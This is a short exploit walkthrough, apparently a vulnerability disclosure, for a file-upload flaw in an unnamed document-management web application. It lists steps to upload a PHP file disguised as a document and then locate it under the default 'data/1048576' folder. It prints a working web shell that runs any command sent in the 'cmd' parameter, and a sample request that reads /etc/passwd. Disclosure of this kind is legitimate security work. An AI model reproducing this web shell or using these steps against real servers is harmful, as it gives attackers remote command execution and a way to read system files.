  Exploit Steps:
  
  Step 1: Login to the application and under any folder add a document.
  Step 2: Choose the document as a simple php backdoor file or any backdoor/webshell could be used.
  
  PHP Backdoor Code: 
  <?php
  
  if(isset($_REQUEST['cmd'])){
  echo "<pre>";
  $cmd = ($_REQUEST['cmd']);
  system($cmd);
  echo "</pre>";
  die;
  }
  
  ?>
  
  Step 3: Now after uploading the file check the document id corresponding to the document.
  Step 4: Now go to example.com/data/1048576/"document_id"/1.php?cmd=cat+/etc/passwd to get the command response in browser.
  
  Note: Here "data" and "1048576" are default folders where the uploaded files are getting saved.
